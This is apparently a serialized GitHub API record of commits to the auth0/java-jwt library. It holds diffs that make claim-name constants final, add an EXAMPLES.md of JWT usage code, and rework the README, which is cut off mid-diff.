comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/c36ec6ff80c0d62668a5ae726f9198d3ca587a17html_urlQhttps://github.com/auth0/java-jwt/commit/c36ec6ff80c0d62668a5ae726f9198d3ca587a17comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/c36ec6ff80c0d62668a5ae726f9198d3ca587a17/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj	  }(j$  	poovamrajj&  J j  MDQ6VXNlcjE1OTEwNDI1j(  4https://avatars.githubusercontent.com/u/15910425?v=4j*  h3j  &https://api.github.com/users/poovamrajj  https://github.com/poovamrajj-  0https://api.github.com/users/poovamraj/followersj/  =https://api.github.com/users/poovamraj/following{/other_user}j1  6https://api.github.com/users/poovamraj/gists{/gist_id}j3  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j5  4https://api.github.com/users/poovamraj/subscriptionsj7  +https://api.github.com/users/poovamraj/orgsj9  ,https://api.github.com/users/poovamraj/reposj;  7https://api.github.com/users/poovamraj/events{/privacy}j=  6https://api.github.com/users/poovamraj/received_eventsj?  UserjA  uparents]}(j  (298b95458199fce91a44872c268530edcd2f2233j  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233j  Qhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233uastats}(totalK	additionsK	deletionsKufiles](}(j  (1107f313a307435263d4cbd9c476d14463d5decafilename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusmodifiedj[  Kj\  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/c36ec6ff80c0d62668a5ae726f9198d3ca587a17/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/c36ec6ff80c0d62668a5ae726f9198d3ca587a17/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=c36ec6ff80c0d62668a5ae726f9198d3ca587a17patchX  @@ -10,20 +10,20 @@ private HeaderParams() {}
     /**
      * The algorithm used to sign a JWT.
      */
-    public static String ALGORITHM = "alg";
+    public static final String ALGORITHM = "alg";
 
     /**
      * The content type of the JWT.
      */
-    public static String CONTENT_TYPE = "cty";
+    public static final String CONTENT_TYPE = "cty";
 
     /**
      * The media type of the JWT.
      */
-    public static String TYPE = "typ";
+    public static final String TYPE = "typ";
 
     /**
      * The key ID of a JWT used to specify the key for signature validation.
      */
-    public static String KEY_ID = "kid";
+    public static final String KEY_ID = "kid";
 }u}(j  (c55097169a2b3b3a28b61467cafc815691308e38ja  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javajc  modifiedj[  Kj\  Kje  Kjf  https://github.com/auth0/java-jwt/blob/c36ec6ff80c0d62668a5ae726f9198d3ca587a17/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajh  https://github.com/auth0/java-jwt/raw/c36ec6ff80c0d62668a5ae726f9198d3ca587a17/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=c36ec6ff80c0d62668a5ae726f9198d3ca587a17jl  X  @@ -13,43 +13,43 @@ private RegisteredClaims() {
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
-    public static String ISSUER = "iss";
+    public static final String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
-    public static String SUBJECT = "sub";
+    public static final String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
-    public static String AUDIENCE = "aud";
+    public static final String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
-    public static String EXPIRES_AT = "exp";
+    public static final String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
-    public static String NOT_BEFORE = "nbf";
+    public static final String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
-    public static String ISSUED_AT = "iat";
+    public static final String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
      * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
-    public static String JWT_ID = "jti";
+    public static final String JWT_ID = "jti";
 
 }ueu(f96e4f4c5635167d02593a1da7a98686eaad75fb}(sha(f96e4f4c5635167d02593a1da7a98686eaad75fbnode_idEC_kwDOAQtL0doAKGY5NmU0ZjRjNTYzNTE2N2QwMjU5M2ExZGE3YTk4Njg2ZWFhZDc1ZmIcommit}(author}(namenoetroemailnoel.trout@avinode.comdate2022-10-26T09:30:11Zu	committer}(j  GitHubj  noreply@github.comj  2022-10-26T09:30:11Zumessage!Merge branch 'master' into mastertree}(jx  (19d9d1b4008730f2c3b7d5f045b8ce22d4d37e04url^https://api.github.com/repos/auth0/java-jwt/git/trees/19d9d1b4008730f2c3b7d5f045b8ce22d4d37e04uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/f96e4f4c5635167d02593a1da7a98686eaad75fb
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjWP4jCRBK7hj4Ov3rIwAAtg0IADmGm1+3QiN0oH/aaQEecihG
/5M+EwTwpTRCYOJIVUEwtE0U2z0xBUTVEqCmiRYUUYj441533eKUgcTOBh836pCG
bzzLv/GnDBfZMPE6p8d2YsdGnm4UyfH5q09b9ydPapTqg/EQ2WydrtVMAkTSlt/K
b8RAytYHrhrgAhKBX0EuIwNyuhpTFaLS4Lw0DNtRYiTqaG1KTtXr7LqbqCkir9aE
s1tdvQk0dmkUT0lCsSlw8JoDRkZAW6B5FDqE1iAi8nDCp7L8KnjOCgY450HkIPby
GdwTnR1TvxCXeKKYAj7LRWmsjDbiGVroSL0rKdUE4ntbe8XiBFoLvTbp0qFKpQk=
=UhKG
-----END PGP SIGNATURE-----
payloadX  tree 19d9d1b4008730f2c3b7d5f045b8ce22d4d37e04
parent fe9c137e0d797eb9f58c7d5456779425a45d6d6a
parent d0ebc3f50581f3341a9b214f32612926b8b1a201
author noetro <noel.trout@avinode.com> 1666776611 +0200
committer GitHub <noreply@github.com> 1666776611 +0200

Merge branch 'master' into masteruuj  \https://api.github.com/repos/auth0/java-jwt/commits/f96e4f4c5635167d02593a1da7a98686eaad75fbhtml_urlQhttps://github.com/auth0/java-jwt/commit/f96e4f4c5635167d02593a1da7a98686eaad75fbcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f96e4f4c5635167d02593a1da7a98686eaad75fb/commentsj~  }(loginnoetroidJOP&jz  MDQ6VXNlcjE5Mjg4MTQz
avatar_url4https://avatars.githubusercontent.com/u/19288143?v=4gravatar_idh3j  #https://api.github.com/users/noetroj  https://github.com/noetro
followers_url-https://api.github.com/users/noetro/followers
following_url:https://api.github.com/users/noetro/following{/other_user}	gists_url3https://api.github.com/users/noetro/gists{/gist_id}starred_url:https://api.github.com/users/noetro/starred{/owner}{/repo}subscriptions_url1https://api.github.com/users/noetro/subscriptionsorganizations_url(https://api.github.com/users/noetro/orgs	repos_url)https://api.github.com/users/noetro/repos
events_url4https://api.github.com/users/noetro/events{/privacy}received_events_url3https://api.github.com/users/noetro/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/jz  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(jx  (fe9c137e0d797eb9f58c7d5456779425a45d6d6aj  \https://api.github.com/repos/auth0/java-jwt/commits/fe9c137e0d797eb9f58c7d5456779425a45d6d6aj  Qhttps://github.com/auth0/java-jwt/commit/fe9c137e0d797eb9f58c7d5456779425a45d6d6au}(jx  (d0ebc3f50581f3341a9b214f32612926b8b1a201j  \https://api.github.com/repos/auth0/java-jwt/commits/d0ebc3f50581f3341a9b214f32612926b8b1a201j  Qhttps://github.com/auth0/java-jwt/commit/d0ebc3f50581f3341a9b214f32612926b8b1a201uestats}(totalM	additionsKΌ	deletionsMufiles](}(jx  (8a849303a3537bea1ca33809b4b9bdf5bc83bbddfilenameEXAMPLES.mdstatusaddedj  Kj  K changesKblob_url[https://github.com/auth0/java-jwt/blob/f96e4f4c5635167d02593a1da7a98686eaad75fb/EXAMPLES.mdraw_urlZhttps://github.com/auth0/java-jwt/raw/f96e4f4c5635167d02593a1da7a98686eaad75fb/EXAMPLES.mdcontents_urlmhttps://api.github.com/repos/auth0/java-jwt/contents/EXAMPLES.md?ref=f96e4f4c5635167d02593a1da7a98686eaad75fbpatchX  @@ -0,0 +1,130 @@
+# Examples using java-jwt
+
+* [Inspecting a DecodedJWT](#inspecting-a-decodedjwt)
+* [DateTime Claim Validation](#datetime-claim-validation)
+* [Using custom claims](#using-custom-claims)
+* [Using a KeyProvider](#using-a-keyprovider)
+
+## Inspecting a DecodedJWT
+
+The successful verification of a JWT returns a `DecodedJWT`, from which you can obtain its contents.
+
+```java
+DecodedJWT jwt = JWT.require(algorithm)
+        .build()
+        .verify("a.b.c");
+
+// standard claims can be retrieved through first-class methods
+String subject = jwt.getSubject();
+String aud = jwt.getAudience();
+// ...
+
+// custom claims can also be obtained
+String customStringClaim = jwt.getClaim("custom-string-claim").asString();
+```
+
+When retrieving custom claims, a [Claim](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/interfaces/Claim.html) is returned, which can then be used to obtain the value depending on the value's underlying type.
+
+## DateTime Claim Validation
+
+A JWT token may include DateNumber fields that can be used to validate that:
+
+* The token was issued in a past date `"iat" < NOW`
+* The token hasn't expired yet `"exp" > NOW`
+* The token can already be used. `"nbf" < NOW`
+
+When verifying a JWT, the standard DateTime claims are validated by default. A `JWTVerificationException` is thrown if any of the claim values are invalid.
+
+To specify a **leeway** in which the JWT should still be considered valid, use the `acceptLeeway()` method in the `JWTVerifier` builder and pass a positive seconds value. This applies to every item listed above.
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+    .acceptLeeway(1) // 1 sec for nbf, iat and exp
+    .build();
+```
+
+You can also specify a custom value for a given DateTime claim and override the default one for only that claim.
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+    .acceptLeeway(1)   //1 sec for nbf and iat
+    .acceptExpiresAt(5)   //5 secs for exp
+    .build();
+```
+
+If you need to test this behavior in your application, cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
+
+```java
+BaseVerification verification = (BaseVerification) JWT.require(algorithm)
+    .acceptLeeway(1)
+    .acceptExpiresAt(5);
+private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
+JWTVerifier verifier = verification.build(clock);
+```
+
+## Using custom claims
+
+### JWT creation
+A JWT can be built with custom payload and header claims, by using the `withHeader` and `withClaim` methods.
+
+```java
+String jwt = JWT.create()
+        .withHeader(headerMap)
+        .withClaim("string-claim", "string-value")
+        .withClaim("number-claim", 42)
+        .withClaim("bool-claim", true)
+        .withClaim("datetime-claim", Instant.now())
+        .sign(algorithm);
+```
+
+See the [JavaDoc](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/JWTCreator.Builder.html) for all available custom claim methods.
+
+### JWT verification
+
+You can also verify a JWT's custom claims:
+
+```java
+JWTVerifier verifier = JWT.require(algorithm)
+        .withClaim("number-claim", 123)
+        .withClaimPresence("some-claim-that-just-needs-to-be-present")
+        .withClaim("predicate-claim", (claim, decodedJWT) -> "custom value".equals(claim.asString()))
+        .build();
+DecodedJWT jwt = verifier.verify("my.jwt.token");
+```
+
+See the [JavaDoc](https://javadoc.io/doc/com.auth0/java-jwt/latest/com/auth0/jwt/JWTVerifier.BaseVerification.html) for all available custom claim verification methods.
+
+## Using a KeyProvider
+
+A `KeyProvider` can be used to obtain the keys needed for signing and verifying a JWT. How these keys are constructed are beyond the scope of this library, but the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library provides the ability to obtain the public key from a JWK.
+The example below demonstrates this for the RSA algorithm (`ECDSAKeyProvider` can be used for ECDSA).
+
+```java
+JwkProvider provider = new JwkProviderBuilder("https://samples.auth0.com/")
+        .cached(10, 24, TimeUnit.HOURS)
+        .rateLimited(10, 1, TimeUnit.MINUTES)
+        .build();
+final RSAPrivateKey privateKey = // private key
+final String privateKeyId = // private key ID
+
+RSAKeyProvider keyProvider = new RSAKeyProvider() {
+    @Override
+    public RSAPublicKey getPublicKeyById(String kid) {
+        return (RSAPublicKey) jwkProvider.get(kid).getPublicKey();
+    }
+
+    @Override
+    public RSAPrivateKey getPrivateKey() {
+        // return the private key used 
+        return rsaPrivateKey;
+    }
+
+    @Override
+    public String getPrivateKeyId() {
+        return rsaPrivateKeyId;
+    }
+};
+
+Algorithm algorithm = Algorithm.RSA256(keyProvider);
+//Use the Algorithm to create and verify JWTs.
+```
\ No newline at end of fileu}(jx  (7786cbafa399734f5defeae421537ce0f9f2f9d0j  	README.mdj  modifiedj  KLj  Mj  Mj  Yhttps://github.com/auth0/java-jwt/blob/f96e4f4c5635167d02593a1da7a98686eaad75fb/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/f96e4f4c5635167d02593a1da7a98686eaad75fb/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=f96e4f4c5635167d02593a1da7a98686eaad75fbj  XI`  @@ -1,60 +1,26 @@
-
-
-# Java JWT
+![A Java implementation of JSON Web Token (JWT) - RFC 7519.](https://cdn.auth0.com/website/sdks/banners/java-jwt-banner.png)
 
 [![CircleCI](https://img.shields.io/circleci/project/github/auth0/java-jwt.svg?style=flat-square)](https://circleci.com/gh/auth0/java-jwt/tree/master)
 [![Coverage Status](https://img.shields.io/codecov/c/github/auth0/java-jwt.svg?style=flat-square)](https://codecov.io/github/auth0/java-jwt)
-[![License](https://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org)
-[![Javadoc](https://javadoc.io/badge2/com.auth0/java-jwt/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
-
-A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
+[![License](http://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org/)
+[![Maven Central](https://img.shields.io/maven-central/v/com.auth0/java-jwt.svg?style=flat-square)](https://mvnrepository.com/artifact/com.auth0/java-jwt)
+[![javadoc](https://javadoc.io/badge2/com.auth0/auth0/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt)
 
-> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
-
-If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
+:books: [Documentation](#documentation) - :rocket: [Getting Started](#getting-started) - :computer: [API Reference](#api-reference) :speech_balloon: [Feedback](#feedback)
 
-> You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
+## Documentation
+- [Examples](./EXAMPLES.md) - code samples for common java-jwt scenarios.
+- [Docs site](https://www.auth0.com/docs) - explore our docs site and learn more about Auth0.
 
-## Table of Contents
-- [**Requirements**](#requirements)
-- [**Installation**](#installation)
-- [**Available Algorithms**](#available-algorithms)
-- [**Quickstart**](#quickstart)
-  + [**Create and Sign a Token**](#create-and-sign-a-token)
-  + [**Verify a Token**](#verify-a-token)
-- [**Usage**](#usage)
-  + [**Pick the algorithm**](#pick-the-algorithm)
-  + [**Time Validation**](#time-validation)
-  + [**Header Claims**](#header-claims)
-  + [**Payload Claims**](#payload-claims)
-  + [**Claim Class**](#claim-class)
-- [**Javadoc**](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
+## Getting Started
 
-## Requirements
+### Requirements
 
-This library is supported for Java 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
+This library is supported for Java LTS versions 8, 11, and 17. For issues on non-LTS versions above 8, consideration will be given on a case-by-case basis.
 
-## Installation
+> `java-jwt` is intended for server-side JVM applications. Android applications should use [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android).
 
-### Gradle
-
-```gradle
-implementation 'com.auth0:java-jwt:4.2.1'
-```
-
-### Maven
-
-```xml
-<dependency>
-    <groupId>com.auth0</groupId>
-    <artifactId>java-jwt</artifactId>
-    <version>4.2.1</version>
-</dependency>
-```
-
-## Available Algorithms
-
-The library implements JWT Verification and Signing using the following algorithms:
+`java-jwt` supports the following algorithms for both signing and verification:
 
 | JWS | Algorithm | Description |
 | :-------------: | :-------------: | :----- |
@@ -70,434 +36,97 @@ The library implements JWT Verification and Signing using the following algorith
 
 > Note - Support for ECDSA with curve secp256k1 and SHA-256 (ES256K) has been dropped since it has been [disabled in Java 15](https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219)
 
-## Quickstart
-
-### Create and Sign a Token
-
-You'll first need to create a `JWTCreator` instance by calling `JWT.create()`. Use the builder to define the custom Claims your token needs to have. Finally to get the String token call `sign()` and pass the `Algorithm` instance.
-
-* Example using `HS256`
-
-    ```java
-    try {
-        Algorithm algorithm = Algorithm.HMAC256("secret");
-        String token = JWT.create()
-            .withIssuer("auth0")
-            .sign(algorithm);
-    } catch (JWTCreationException exception){
-        //Invalid Signing configuration / Couldn't convert Claims.
-    }
-    ```
-
-* Example using `RS256`
-
-    ```java
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
-    try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
-        String token = JWT.create()
-            .withIssuer("auth0")
-            .sign(algorithm);
-    } catch (JWTCreationException exception){
-        //Invalid Signing configuration / Couldn't convert Claims.
-    }
-    ```
-
-If a Claim couldn't be converted to JSON or the Key used in the signing process was invalid a `JWTCreationException` will raise.
-
-### Verify a Token
-
-You'll first need to create a `JWTVerifier` instance by calling `JWT.require()` and passing the `Algorithm` instance. If you require the token to have specific Claim values, use the builder to define them. The instance returned by the method `build()` is reusable, so you can define it once and use it to verify different tokens. Finally call `verifier.verify()` passing the token.
-
-* Example using `HS256`
-
-    ```java
-    String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-    try {
-        Algorithm algorithm = Algorithm.HMAC256("secret"); //use more secure key
-        JWTVerifier verifier = JWT.require(algorithm)
-            .withIssuer("auth0")
-            .build(); //Reusable verifier instance
-        DecodedJWT jwt = verifier.verify(token);
-    } catch (JWTVerificationException exception){
-        //Invalid signature/claims
-    }
-    ```
-
-* Example using `RS256`
-
-    ```java
-    String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-    RSAPublicKey publicKey = //Get the key instance
-    RSAPrivateKey privateKey = //Get the key instance
-    try {
-        Algorithm algorithm = Algorithm.RSA256(publicKey, privateKey);
-        JWTVerifier verifier = JWT.require(algorithm)
-            .withIssuer("auth0")
-            .build(); //Reusable verifier instance
-        DecodedJWT jwt = verifier.verify(token);
-    } catch (JWTVerificationException exception){
-        //Invalid signature/claims
-    }
-    ```
-
-If the token has an invalid signature or the Claim requirement is not met, a `JWTVerificationException` will raise.
-
-<details>
-<summary><em></em>Need to peek into a JWT without verifying it? (Click to expand)</summary>
-
-### Decode a Token
-
-> __Warning:__ This will __not__ verify whether the signature is valid. You should __not__ use this for untrusted messages. You most likely want to use `JWTVerifier` as documented above instead.
-
-```java
-String token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJpc3MiOiJhdXRoMCJ9.AbIJTDMFc7yUa5MhvcP03nJPyCPzZtQcGEp-zWfOkEE";
-try {
-    DecodedJWT jwt = JWT.decode(token);
-} catch (JWTDecodeException exception){
-    //Invalid token
-}
-```
-
-If the token has an invalid syntax or the header or payload are not JSONs, a `JWTDecodeException` will raise.
-
-</details>
-
-## Usage
-
-### Pick the Algorithm
-
-The Algorithm defines how a token is signed and verified. It can be instantiated with the raw value of the secret in the case of HMAC algorithms, or the key pairs or `KeyProvider` in the case of RSA and ECDSA algorithms. Once created, the instance is reusable for token signing and verification operations.
-
-When using RSA or ECDSA algorithms and you just need to **sign** JWTs you can avoid specifying a Public Key by passing a `null` value. The same can be done with the Private Key when you just need to **verify** JWTs.
-
-
-#### Using static secrets or keys:
-
-```java
-//HMAC
-Algorithm algorithmHS = Algorithm.HMAC256("secret"); //use more secure key
-
-//RSA
-RSAPublicKey publicKey = //Get the key instance
-RSAPrivateKey privateKey = //Get the key instance
-Algorithm algorithmRS = Algorithm.RSA256(publicKey, privateKey);
-```
-
-> Note: How you obtain or read keys is not in the scope of this library. For an example of how you might implement this, see [this gist](https://gist.github.com/lbalmaceda/9a0c7890c2965826c04119dcfb1a5469).
-
-##### HMAC Key Length and Security
-
-When using a Hash-based Message Authentication Code, e.g. HS256 or HS512, in order to comply with the strict requirements of the JSON Web Algorithms (JWA) specification (RFC7518), you **must** use a secret key which has the same (or larger) bit length as the size of the output hash. This is to avoid weakening the security strength of the authentication code (see NIST recommendations NIST SP 800-117). For example, when using HMAC256, the secret key length must be a minimum of 256 bits.
-
-#### Using a KeyProvider:
-By using a `KeyProvider` you can change in runtime the key used either to verify the token signature or to sign a new token for RSA or ECDSA algorithms. This is achieved by implementing either `RSAKeyProvider` or `ECDSAKeyProvider` methods:
-
-- `getPublicKeyById(String kid)`: Its called during token signature verification and it should return the key used to verify the token. If key rotation is being used, e.g. [JWK](https://tools.ietf.org/html/rfc7517) it can fetch the correct rotation key using the id. (Or just return the same key all the time).
-- `getPrivateKey()`: Its called during token signing and it should return the key that will be used to sign the JWT.
-- `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
-
-
-The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
-
-```java
-final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
-final RSAPrivateKey privateKey = //Get the key instance
-final String privateKeyId = //Create an Id for the above key
-
-RSAKeyProvider keyProvider = new RSAKeyProvider() {
-    @Override
-    public RSAPublicKey getPublicKeyById(String kid) {
-        //Received 'kid' value might be null if it wasn't defined in the Token's header
-        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
-        return (RSAPublicKey) publicKey;
-    }
-
-    @Override
-    public RSAPrivateKey getPrivateKey() {
-        return privateKey;
-    }
-
-    @Override
-    public String getPrivateKeyId() {
-        return privateKeyId;
-    }
-};
-
-Algorithm algorithm = Algorithm.RSA256(keyProvider);
-//Use the Algorithm to create and verify JWTs.
-```
-
-
-### Time Validation
-
-The JWT token may include DateNumber fields that can be used to validate that:
-* The token was issued in a past date `"iat" < TODAY`
-* The token hasn't expired yet `"exp" > TODAY` and
-* The token can already be used. `"nbf" < TODAY`
-
-When verifying a token the time validation occurs automatically, resulting in a `JWTVerificationException` being throw when the values are invalid. If any of the previous fields are missing they won't be considered in this validation.
-
-To specify a **leeway window** in which the Token should still be considered valid, use the `acceptLeeway()` method in the `JWTVerifier` builder and pass a positive seconds value. This applies to every item listed above.
-
-```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .acceptLeeway(1) // 1 sec for nbf, iat and exp
-    .build();
-```
-
-You can also specify a custom value for a given Date claim and override the default one for only that claim.
-
-```java
-JWTVerifier verifier = JWT.require(algorithm)
-    .acceptLeeway(1)   //1 sec for nbf and iat
-    .acceptExpiresAt(5)   //5 secs for exp
-    .build();
-```
-
-If you need to test this behavior in your lib/app cast the `Verification` instance to a `BaseVerification` to gain visibility of the `verification.build()` method that accepts a `java.time.Clock`. e.g.:
-
-```java
-BaseVerification verification = (BaseVerification) JWT.require(algorithm)
-    .acceptLeeway(1)
-    .acceptExpiresAt(5);
-private final Clock mockNow = Clock.fixed(Instant.ofEpochSecond(1477592), ZoneId.of("UTC"));    
-JWTVerifier verifier = verification.build(clock);
-```
-
-### Header Claims
-
-#### Algorithm ("alg")
-
-Returns the Algorithm value or null if it's not defined in the Header.
-
-```java
-String algorithm = jwt.getAlgorithm();
-```
-
-#### Type ("typ")
-
-Returns the Type value or null if it's not defined in the Header.
-
-```java
-String type = jwt.getType();
-```
-
-#### Content Type ("cty")
-
-Returns the Content Type value or null if it's not defined in the Header.
-
-```java
-String contentType = jwt.getContentType();
-```
-
-#### Key Id ("kid")
-
-Returns the Key Id value or null if it's not defined in the Header.
-
-```java
-String keyId = jwt.getKeyId();
-```
-
-#### Private Claims
-
-Additional Claims defined in the token's Header can be obtained by calling `getHeaderClaim()` and passing the Claim name. A Claim will always be returned, even if it can't be found. You can check if a Claim's value is null by calling `claim.isNull()`.
-
-```java
-Claim claim = jwt.getHeaderClaim("owner");
-```
-
-When creating a Token with the `JWT.create()` you can specify header Claims by calling `withHeader()` and passing both the map of claims.
-
-```java
-Map<String, Object> headerClaims = new HashMap();
-headerClaims.put("owner", "auth0");
-String token = JWT.create()
-        .withHeader(headerClaims)
-        .sign(algorithm);
-```
-
-> The `alg` and `typ` values will always be included in the Header after the signing process.
-
-
-### Payload Claims
-
-#### Issuer ("iss")
-
-Returns the Issuer value or null if it's not defined in the Payload.
-
-```java
-String issuer = jwt.getIssuer();
-```
-
-#### Subject ("sub")
-
-Returns the Subject value or null if it's not defined in the Payload.
-
-```java
-String subject = jwt.getSubject();
-```
-
-#### Audience ("aud")
-
-Returns the Audience value or null if it's not defined in the Payload.
-
-```java
-List<String> audience = jwt.getAudience();
-```
-
-#### Expiration Time ("exp")
-
-Returns the Expiration Time value or null if it's not defined in the Payload.
-
-```java
-Date expiresAt = jwt.getExpiresAt();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant expiresAt = jwt.getExpiresAtAsInstant();
-```
-
-#### Not Before ("nbf")
-
-Returns the Not Before value or null if it's not defined in the Payload.
-
-```java
-Date notBefore = jwt.getNotBefore();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant notBefore = jwt.getNotBeforeAsInstant();
-```
-
-#### Issued At ("iat")
-
-Returns the Issued At value or null if it's not defined in the Payload.
-
-```java
-Date issuedAt = jwt.getIssuedAt();
-```
-
-If you prefer to work with `java.time.Instant` instead of `java.util.Date`:
-
-```java
-Instant issuedAt = jwt.getIssuedAtAsInstant();
-```
-
-#### JWT ID ("jti")
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+### Installation
 
-Returns the JWT ID value or null if it's not defined in the Payload.
+Add the dependency via Maven:
 
-```java
-String id = jwt.getId();
+```xml
+<dependency>
+  <groupId>com.auth0</groupId>
